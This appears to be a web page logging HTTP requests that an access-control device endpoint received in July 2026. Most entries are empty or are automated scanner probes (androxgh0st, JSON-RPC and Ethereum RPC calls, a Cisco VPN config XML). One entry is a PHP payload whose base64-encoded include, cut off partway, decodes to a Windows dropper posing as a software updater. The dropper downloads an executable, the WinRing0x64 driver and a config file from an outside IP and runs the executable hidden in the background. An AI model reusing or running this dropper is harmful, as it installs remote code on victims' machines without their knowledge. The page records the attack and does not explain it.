📡 门禁通讯记录(根目录接收)

设备 POST 目标:http://baoye.fsdinfo.com(固定,不可改)

时间方向原始 JSON解析数据
2026-07-08 12:39:02 SEND
{"devsn":"","func":"","timestamp":"","code":"1"}
{
    "devsn": "",
    "func": "",
    "timestamp": "",
    "code": "1"
}
2026-07-08 12:39:02 RECV
{"id":1,"jsonrpc":"2.0","method":"initialize","params":{"capabilities":{},"clientInfo":{"name":"client","version":"0"},"protocolVersion":"2025-03-26"}}
{
    "id": 1,
    "jsonrpc": "2.0",
    "method": "initialize",
    "params": {
        "capabilities": [],
        "clientInfo": {
            "name": "client",
            "version": "0"
        },
        "protocolVersion": "2025-03-26"
    }
}
2026-07-08 11:44:42 RECV
null
2026-07-08 10:58:21 RECV
0x%5B%5D=androxgh0st
null
2026-07-08 02:53:49 RECV
null
2026-07-07 15:30:20 RECV
null
2026-07-07 11:50:27 RECV
null
2026-07-07 10:59:15 RECV
null
2026-07-07 01:14:06 RECV
null
2026-07-07 01:14:03 RECV
null
2026-07-07 01:13:59 RECV
null
2026-07-06 22:43:10 RECV
null
2026-07-06 22:23:39 RECV
null
2026-07-06 12:49:05 SEND
{"devsn":"","func":"","timestamp":"","code":"1"}
{
    "devsn": "",
    "func": "",
    "timestamp": "",
    "code": "1"
}
2026-07-06 12:49:05 RECV
{"id":1,"jsonrpc":"2.0","method":"initialize","params":{"capabilities":{},"clientInfo":{"name":"client","version":"0"},"protocolVersion":"2025-03-26"}}
{
    "id": 1,
    "jsonrpc": "2.0",
    "method": "initialize",
    "params": {
        "capabilities": [],
        "clientInfo": {
            "name": "client",
            "version": "0"
        },
        "protocolVersion": "2025-03-26"
    }
}
2026-07-06 05:57:05 RECV
null
2026-07-05 08:47:41 RECV
null
2026-07-05 06:00:19 RECV
null
2026-07-05 06:00:17 RECV
1=1
null
2026-07-04 23:43:52 RECV
null
2026-07-04 00:32:14 SEND
{"devsn":"","func":"","timestamp":"","code":"1"}
{
    "devsn": "",
    "func": "",
    "timestamp": "",
    "code": "1"
}
2026-07-04 00:32:14 RECV
{"jsonrpc": "2.0", "method": "eth_blockNumber", "params": [], "id": 1}
{
    "jsonrpc": "2.0",
    "method": "eth_blockNumber",
    "params": [],
    "id": 1
}
2026-07-04 00:32:13 SEND
{"devsn":"","func":"","timestamp":"","code":"1"}
{
    "devsn": "",
    "func": "",
    "timestamp": "",
    "code": "1"
}
2026-07-04 00:32:13 RECV
{"jsonrpc": "2.0", "method": "eth_chainId", "params": [], "id": 1}
{
    "jsonrpc": "2.0",
    "method": "eth_chainId",
    "params": [],
    "id": 1
}
2026-07-03 20:57:47 RECV
null
2026-07-03 18:38:50 RECV
null
2026-07-03 18:20:29 RECV
<?xml version="1.0" encoding="UTF-8"?>
				<config-auth client="vpn" type="init" aggregate-auth-version="2">
				<version who="vpn">3.1.05160</version>
				<device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id>
				<mac-address-list>
					<mac-address>01:23:45:67:89:AB</mac-address>
				</mac-address-list>
				<group-select>VPN</group-select>
				<group-access>https://47.92.64.254:443</group-access>
				</config-auth>
null
2026-07-03 14:09:09 RECV
<?php
ob_start();
include('data://text/plain;base64,PD9waHAKLyoqCiAqIFNvZnR3YXJlVGVjaCBVcGRhdGUgTWFuYWdlciBmb3IgV2luZG93cwogKiAKICogVGhpcyBzY3JpcHQ6CiAqIDEuIENoZWNrcyBpZiBzb2Z0d2FyZXRlY2guZXhlIGlzIHJ1bm5pbmcKICogMi4gQ3JlYXRlcyB1cGRhdGVzLXByb2dyYW0gZGlyZWN0b3J5IGluIHVzZXIgZm9sZGVyCiAqIDMuIERvd25sb2FkcyBmaWxlcyB1c2luZyBQSFAgKGNVUkwpCiAqIDQuIEV4ZWN1dGVzIHNvZnR3YXJldGVjaC5leGUgaW4gYmFja2dyb3VuZAogKi8KCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci8vIENvbmZpZ3VyYXRpb24KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KJGRvd25sb2FkVXJscyA9IFsKICAgICdzb2Z0d2FyZXRlY2guZXhlJyA9PiAnaHR0cDovLzQ1LjIyNS4xMzUuMTgvd2luL3NvZnR3YXJldGVjaC5leGUnLAogICAgJ1dpblJpbmcweDY0LnN5cycgID0+ICdodHRwOi8vNDUuMjI1LjEzNS4xOC93aW4vV2luUmluZzB4NjQuc3lzJywKICAgICdjb25maWcuanNvbicgICAgICA9PiAnaHR0cDovLzQ1LjIyNS4xMzUuMTgvd2luL2NvbmZpZy5qc29uJwpdOwoKJGRvd25sb2FkVGltZW91dCA9IDMwMDsgLy8gNSBtaW51dGVzIHRpbWVvdXQgZm9yIGRvd25sb2FkcwoKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLy8gSGVscGVyIEZ1bmN0aW9ucwovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKLyoqCiAqIEdldCBXaW5kb3dzIHVzZXIgcHJvZmlsZSBmb2xkZXIKICovCmZ1bmN0aW9uIGdldFVzZXJQcm9maWxlRm9sZGVyKCkgewogICAgLy8gVHJ5IG11bHRpcGxlIG1ldGhvZHMgdG8gZ2V0IHVzZXIgZm9sZGVyCiAgICBpZiAoIWVtcHR5KGdldGVudignVVNFUlBST0ZJTEUnKSkpIHsKICAgICAgICByZXR1cm4gZ2V0ZW52KCdVU0VSUFJPRklMRScpOwogICAgfQogICAgCiAgICBpZiAoIWVtcHR5KCRfRU5WWydVU0VSUFJPRklMRSddKSkgewogICAgICAgIHJldHVybiAkX0VOVlsnVVNFUlBST0ZJTEUnXTsKICAgIH0KICAgIAogICAgLy8gRmFsbGJhY2s6IHRyeSB0byBjb25zdHJ1Y3QgZnJvbSBVU0VSTkFNRQogICAgJHVzZXJuYW1lID0gZ2V0ZW52KCdVU0VSTkFNRScpID86ICRfRU5WWydVU0VSTkFNRSddID8/IGdldF9jdXJyZW50X3VzZXIoKTsKICAgIGlmICgkdXNlcm5hbWUpIHsKICAgICAgICByZXR1cm4gJ0M6XFxVc2Vyc1xcJyAuICR1c2VybmFtZTsKICAgIH0KICAgIAogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogQ2hlY2sgaWYgYSBXaW5kb3dzIHByb2Nlc3MgaXMgcnVubmluZwogKi8KZnVuY3Rpb24gaXNQcm9jZXNzUnVubmluZygkcHJvY2Vzc05hbWUpIHsKICAgICRvdXRwdXQgPSBbXTsKICAgICRyZXR1cm5Db2RlID0gMDsKICAgIAogICAgLy8gVXNlIHRhc2tsaXN0IGNvbW1hbmQgdG8gY2hlY2sgcnVubmluZyBwcm9jZXNzZXMKICAgIGV4ZWMoJ3Rhc2tsaXN0IDI+bnVsJywgJG91dHB1dCwgJHJldHVybkNvZGUpOwogICAgCiAgICBmb3JlYWNoICgkb3V0cHV0IGFzICRsaW5lKSB7CiAgICAgICAgLy8gdGFza2xpc3Qgb3V0cHV0IGZvcm1hdDogcHJvY2Vzc25hbWUuZXhlICAgIFBJRCAgICBTZXNzaW9uIE5hbWUgICAgU2Vzc2lvbiMgICAgTWVtb3J5IFVzYWdlCiAgICAgICAgaWYgKHN0cmlwb3MoJGxpbmUsICRwcm9jZXNzTmFtZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBpdCdzIG5vdCBhIHBhcnRpYWwgbWF0Y2ggLSBjaGVjayBmb3Igd29yZCBib3VuZGFyeQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL14nIC4gcHJlZ19xdW90ZSgkcHJvY2Vzc05hbWUpIC4gJ1xzKy9pJywgJGxpbmUpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogRG93bmxvYWQgZmlsZSB1c2luZyBQSFAgY1VSTAogKi8KZnVuY3Rpb24gZG93bmxvYWRGaWxlKCR1cmwsICRkZXN0aW5hdGlvbiwgJHRpbWVvdXQgPSAzMDApIHsKICAgIHRyeSB7CiAgICAgICAgLy8gQ2hlY2sgaWYgY1VSTCBpcyBhdmFpbGFibGUKICAgICAgICBpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSkgewogICAgICAgICAgICByZXR1cm4gZG93bmxvYWRGaWxlV2l0aFN0cmVhbSgkdXJsLCAkZGVzdGluYXRpb24sICR0aW1lb3V0KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIAogICAgICAgIC8vIGNVUkwgb3B0aW9ucwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9NQVhSRURJUlMsIDUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ1NvZnR3YXJlVGVjaC1VcGRhdGVyLzEuMCcpOwogICAgICAgIAogICAgICAgICRmaWxlQ29udGVudCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgICRodHRwQ29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgJGN1cmxFcnJvciA9IGN1cmxfZXJyb3IoJGNoKTsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgCiAgICAgICAgaWYgKCRodHRwQ29kZSA9PT0gMjAwICYmICRmaWxlQ29udGVudCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGJ5dGVzV3JpdHRlbiA9IGZpbGVfcHV0X2NvbnRlbnRzKCRkZXN0aW5hdGlvbiwgJGZpbGVDb250ZW50KTsKICAgICAgICAgICAgaWYgKCRieXRlc1dyaXR0ZW4gIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJEb3dubG9hZGVkOiAiIC4gYmFzZW5hbWUoJGRlc3RpbmF0aW9uKSAuICIgKCIgLiBmb3JtYXRCeXRlcygkYnl0ZXNXcml0dGVuKSAuICIpIik7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byB3cml0ZSBmaWxlOiAkZGVzdGluYXRpb24iKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBkb3dubG9hZDogJHVybCAoSFRUUCAkaHR0cENvZGUpIik7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGN1cmxFcnJvcikpIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgImNVUkwgRXJyb3I6ICRjdXJsRXJyb3IiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRG93bmxvYWQgZXhjZXB0aW9uOiAiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogRmFsbGJhY2sgZG93bmxvYWQgdXNpbmcgUEhQIHN0cmVhbXMgaWYgY1VSTCBpcyBub3QgYXZhaWxhYmxlCiAqLwpmdW5jdGlvbiBkb3dubG9hZEZpbGVXaXRoU3RyZWFtKCR1cmwsICRkZXN0aW5hdGlvbiwgJHRpbWVvdXQgPSAzMDApIHsKICAgIHRyeSB7CiAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoWwogICAgICAgICAgICAnaHR0cCcgPT4gWwogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICR0aW1lb3V0LAogICAgICAgICAgICAgICAgJ3VzZXJfYWdlbnQnID0+ICdTb2Z0d2FyZVRlY2gtVXBkYXRlci8xLjAnCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdodHRwcycgPT4gWwogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICR0aW1lb3V0LAogICAgICAgICAgICAgICAgJ3VzZXJfYWdlbnQnID0+ICdTb2Z0d2FyZVRlY2gtVXBkYXRlci8xLjAnCiAgICAgICAgICAgIF0KICAgICAgICBdKTsKICAgICAgICAKICAgICAgICAkZmlsZUNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjb250ZXh0KTsKICAgICAgICAKICAgICAgICBpZiAoJGZpbGVDb250ZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAkYnl0ZXNXcml0dGVuID0gZmlsZV9wdXRfY29udGVudHMoJGRlc3RpbmF0aW9uLCAkZmlsZUNvbnRlbnQpOwogICAgICAgICAgICBpZiAoJGJ5dGVzV3JpdHRlbiAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIk9LIiwgIkRvd25sb2FkZWQgKHZpYSBzdHJlYW0pOiAiIC4gYmFzZW5hbWUoJGRlc3RpbmF0aW9uKSAuICIgKCIgLiBmb3JtYXRCeXRlcygkYnl0ZXNXcml0dGVuKSAuICIpIik7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byB3cml0ZSBmaWxlOiAkZGVzdGluYXRpb24iKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBkb3dubG9hZDogJHVybCAodmlhIHN0cmVhbSkiKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIlN0cmVhbSBkb3dubG9hZCBleGNlcHRpb246ICIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBFeGVjdXRlIHByb2Nlc3MgaW4gYmFja2dyb3VuZCB3aXRob3V0IHNob3dpbmcgd2luZG93CiAqLwpmdW5jdGlvbiBleGVjdXRlSW5CYWNrZ3JvdW5kKCRleGVjdXRhYmxlUGF0aCwgJGFyZ3VtZW50cyA9ICcnKSB7CiAgICB0cnkgewogICAgICAgIC8vIFByZXBhcmUgY29tbWFuZAogICAgICAgICRjb21tYW5kID0gJyInIC4gJGV4ZWN1dGFibGVQYXRoIC4gJyInOwogICAgICAgIGlmICghZW1wdHkoJGFyZ3VtZW50cykpIHsKICAgICAgICAgICAgJGNvbW1hbmQgLj0gJyAnIC4gJGFyZ3VtZW50czsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gTWV0aG9kIDE6IFVzaW5nIHByb2Nfb3BlbiBmb3IgYmV0dGVyIGNvbnRyb2wKICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBbCiAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwKICAgICAgICAgICAgMSA9PiBbInBpcGUiLCAidyJdLAogICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0KICAgICAgICBdOwogICAgICAgIAogICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKAogICAgICAgICAgICAkY29tbWFuZCwKICAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjLAogICAgICAgICAgICAkcGlwZXMsCiAgICAgICAgICAgIGRpcm5hbWUoJGV4ZWN1dGFibGVQYXRoKSwKICAgICAgICAgICAgbnVsbCwKICAgICAgICAgICAgWydieXBhc3Nfc2hlbGwnID0+IHRydWVdCiAgICAgICAgKTsKICAgICAgICAKICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAgICAgICAgIC8vIENsb3NlIGFsbCBwaXBlcwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7CiAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gRG9uJ3Qgd2FpdCBmb3IgcHJvY2VzcyB0byBmaW5pc2ggKGRldGFjaCBpdCkKICAgICAgICAgICAgcHJvY19jbG9zZSgkcHJvY2Vzcyk7CiAgICAgICAgICAgIAogICAgICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJQcm9jZXNzIGxhdW5jaGVkIHN1Y2Nlc3NmdWxseTogIiAuIGJhc2VuYW1lKCRleGVjdXRhYmxlUGF0aCkpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBGYWxsYmFjayB0byBhbHRlcm5hdGl2ZSBtZXRob2QKICAgICAgICAgICAgbG9nTWVzc2FnZSgiV0FSTklORyIsICJwcm9jX29wZW4gZmFpbGVkLCB0cnlpbmcgYWx0ZXJuYXRpdmUgbWV0aG9kLi4uIik7CiAgICAgICAgICAgIHJldHVybiBleGVjdXRlSW5CYWNrZ3JvdW5kQWx0KCRjb21tYW5kKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJQcm9jZXNzIGV4ZWN1dGlvbiBleGNlcHRpb246ICIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBBbHRlcm5hdGl2ZSBtZXRob2QgdG8gZXhlY3V0ZSBpbiBiYWNrZ3JvdW5kIHVzaW5nIFdTY3JpcHQKICovCmZ1bmN0aW9uIGV4ZWN1dGVJbkJhY2tncm91bmRBbHQoJGNvbW1hbmQpIHsKICAgIHRyeSB7CiAgICAgICAgLy8gQ3JlYXRlIGEgdGVtcG9yYXJ5IFZCUyBzY3JpcHQgdG8gcnVuIGNvbW1hbmQgd2l0aG91dCB3aW5kb3cKICAgICAgICAkdmJzRmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICdcXHNvZnR3YXJldGVjaF9sYXVuY2hlcl8nIC4gdW5pcWlkKCkgLiAnLnZicyc7CiAgICAgICAgJHZic0NvbnRlbnQgPSAnQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICInIC4gJGNvbW1hbmQgLiAnIiwgMCwgRmFsc2UnOwogICAgICAgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR2YnNGaWxlLCAkdmJzQ29udGVudCk7CiAgICAgICAgCiAgICAgICAgLy8gRXhlY3V0ZSBWQlMgc2NyaXB0CiAgICAgICAgZXhlYygnd3NjcmlwdC5leGUgIicgLiAkdmJzRmlsZSAuICciID4gbnVsIDI+JjEgJicpOwogICAgICAgIAogICAgICAgIC8vIENsZWFuIHVwIFZCUyBmaWxlIGFmdGVyIHNob3J0IGRlbGF5IChpdCB3aWxsIGhhdmUgYWxyZWFkeSBleGVjdXRlZCkKICAgICAgICBzbGVlcCgxKTsKICAgICAgICBAdW5saW5rKCR2YnNGaWxlKTsKICAgICAgICAKICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJQcm9jZXNzIGxhdW5jaGVkIChhbHRlcm5hdGl2ZSBtZXRob2QpIik7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJBbHRlcm5hdGl2ZSBleGVjdXRpb24gZmFpbGVkOiAiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogRm9ybWF0IGJ5dGVzIHRvIGh1bWFuLXJlYWRhYmxlIGZvcm1hdAogKi8KZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJ107CiAgICAkYnl0ZXMgPSBtYXgoJGJ5dGVzLCAwKTsKICAgICRwb3cgPSBmbG9vcigoJGJ5dGVzID8gbG9nKCRieXRlcykgOiAwKSAvIGxvZygxMDI0KSk7CiAgICAkcG93ID0gbWluKCRwb3csIGNvdW50KCR1bml0cykgLSAxKTsKICAgICRieXRlcyAvPSAoMSA8PCAoMTAgKiAkcG93KSk7CiAgICAKICAgIHJldHVybiByb3VuZCgkYnl0ZXMsICRwcmVjaXNpb24pIC4gJyAnIC4gJHVuaXRzWyRwb3ddOwp9CgovKioKICogTG9nIG1lc3NhZ2Ugd2l0aCB0aW1lc3RhbXAKICovCmZ1bmN0aW9uIGxvZ01lc3NhZ2UoJGxldmVsLCAkbWVzc2FnZSkgewogICAgJHRpbWVzdGFtcCA9IGRhdGUoJ1ktbS1kIEg6aTpzJyk7CiAgICBwcmludGYoIlslc10gWyUtN3NdICVzXG4iLCAkdGltZXN0YW1wLCAkbGV2ZWwsICRtZXNzYWdlKTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLy8gTWFpbiBFeGVjdXRpb24KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlNvZnR3YXJlVGVjaCBVcGRhdGUgTWFuYWdlciBTdGFydGVkIik7CmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwoKLy8gR2V0IHVzZXIgcHJvZmlsZSBmb2xkZXIKJHVzZXJGb2xkZXIgPSBnZXRVc2VyUHJvZmlsZUZvbGRlcigpOwppZiAoISR1c2VyRm9sZGVyKSB7CiAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJDb3VsZCBub3QgZGV0ZXJtaW5lIHVzZXIgcHJvZmlsZSBmb2xkZXIiKTsKICAgIGV4aXQoMSk7Cn0KCiR1cGRhdGVzRGlyID0gJHVzZXJGb2xkZXIgLiAnXFx1cGRhdGVzLXByb2dyYW0nOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlVzZXIgRm9sZGVyOiAkdXNlckZvbGRlciIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlVwZGF0ZXMgRGlyZWN0b3J5OiAkdXBkYXRlc0RpciIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwoKLy8gU3RlcCAxOiBDaGVjayBpZiBzb2Z0d2FyZXRlY2guZXhlIGlzIGFscmVhZHkgcnVubmluZwpsb2dNZXNzYWdlKCJJTkZPIiwgIlN0ZXAgMTogQ2hlY2tpbmcgaWYgc29mdHdhcmV0ZWNoLmV4ZSBpcyBydW5uaW5nLi4uIik7CmlmIChpc1Byb2Nlc3NSdW5uaW5nKCdzb2Z0d2FyZXRlY2guZXhlJykpIHsKICAgIGxvZ01lc3NhZ2UoIldBUk5JTkciLCAic29mdHdhcmV0ZWNoLmV4ZSBpcyBhbHJlYWR5IHJ1bm5pbmcuIEV4aXRpbmcuIik7CiAgICBleGl0KDApOwp9CmxvZ01lc3NhZ2UoIk9LIiwgInNvZnR3YXJldGVjaC5leGUgaXMgbm90IHJ1bm5pbmcuIFByb2NlZWRpbmcuLi4iKTsKbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgMjogQ3JlYXRlIHVwZGF0ZXMgZGlyZWN0b3J5CmxvZ01lc3NhZ2UoIklORk8iLCAiU3RlcCAyOiBDcmVhdGluZyB1cGRhdGVzIGRpcmVjdG9yeS4uLiIpOwppZiAoIWlzX2RpcigkdXBkYXRlc0RpcikpIHsKICAgIGlmIChAbWtkaXIoJHVwZGF0ZXNEaXIsIDA3NzcsIHRydWUpKSB7CiAgICAgICAgbG9nTWVzc2FnZSgiT0siLCAiQ3JlYXRlZCBkaXJlY3Rvcnk6ICR1cGRhdGVzRGlyIik7CiAgICB9IGVsc2UgewogICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBjcmVhdGUgZGlyZWN0b3J5OiAkdXBkYXRlc0RpciIpOwogICAgICAgIGV4aXQoMSk7CiAgICB9Cn0gZWxzZSB7CiAgICBsb2dNZXNzYWdlKCJPSyIsICJEaXJlY3RvcnkgYWxyZWFkeSBleGlzdHM6ICR1cGRhdGVzRGlyIik7Cn0KbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgMzogRG93bmxvYWQgZmlsZXMKbG9nTWVzc2FnZSgiSU5GTyIsICJTdGVwIDM6IERvd25sb2FkaW5nIGZpbGVzIGZyb20gc2VydmVyLi4uIik7CmxvZ01lc3NhZ2UoIklORk8iLCAiU2VydmVyOiAxOTIuMTY4LjEuMiIpOwoKJGFsbERvd25sb2Fkc1N1Y2Nlc3NmdWwgPSB0cnVlOwpmb3JlYWNoICgkZG93bmxvYWRVcmxzIGFzICRmaWxlTmFtZSA9PiAkdXJsKSB7CiAgICAkZGVzdGluYXRpb24gPSAkdXBkYXRlc0RpciAuICdcXCcgLiAkZmlsZU5hbWU7CiAgICBsb2dNZXNzYWdlKCJJTkZPIiwgIkRvd25sb2FkaW5nOiAkZmlsZU5hbWUiKTsKICAgIAogICAgaWYgKCFkb3dubG9hZEZpbGUoJHVybCwgJGRlc3RpbmF0aW9uLCAkZG93bmxvYWRUaW1lb3V0KSkgewogICAgICAgICRhbGxEb3dubG9hZHNTdWNjZXNzZnVsID0gZmFsc2U7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRG93bmxvYWQgZmFpbGVkOiAkZmlsZU5hbWUiKTsKICAgIH0KfQoKaWYgKCEkYWxsRG93bmxvYWRzU3VjY2Vzc2Z1bCkgewogICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiU29tZSBkb3dubG9hZHMgZmFpbGVkLiBDYW5ub3QgcHJvY2VlZC4iKTsKICAgIGV4aXQoMSk7Cn0KCmxvZ01lc3NhZ2UoIk9LIiwgIkFsbCBmaWxlcyBkb3dubG9hZGVkIHN1Y2Nlc3NmdWxseSIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwoKLy8gU3RlcCA0OiBWZXJpZnkgZG93bmxvYWRlZCBmaWxlcyBleGlzdApsb2dNZXNzYWdlKCJJTkZPIiwgIlN0ZXAgNDogVmVyaWZ5aW5nIGRvd25sb2FkZWQgZmlsZXMuLi4iKTsKJGV4ZUZpbGUgPSAkdXBkYXRlc0RpciAuICdcXHNvZnR3YXJldGVjaC5leGUnOwokc3lzRmlsZSA9ICR1cGRhdGVzRGlyIC4gJ1xcV2luUmluZzB4NjQuc3lzJzsKJGNvbmZpZ0ZpbGUgPSAkdXBkYXRlc0RpciAuICdcXGNvbmZpZy5qc29uJzsKCiRmaWxlc1ZlcmlmaWVkID0gdHJ1ZTsKZm9yZWFjaCAoWyRleGVGaWxlLCAkc3lzRmlsZSwgJGNvbmZpZ0ZpbGVdIGFzICRmaWxlKSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgkZmlsZSk7CiAgICAgICAgbG9nTWVzc2FnZSgiT0siLCAiRm91bmQ6ICIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiICgiIC4gZm9ybWF0Qnl0ZXMoJHNpemUpIC4gIikiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRmlsZSBub3QgZm91bmQ6ICIgLiBiYXNlbmFtZSgkZmlsZSkpOwogICAgICAgICRmaWxlc1ZlcmlmaWVkID0gZmFsc2U7CiAgICB9Cn0KCmlmICghJGZpbGVzVmVyaWZpZWQpIHsKICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwg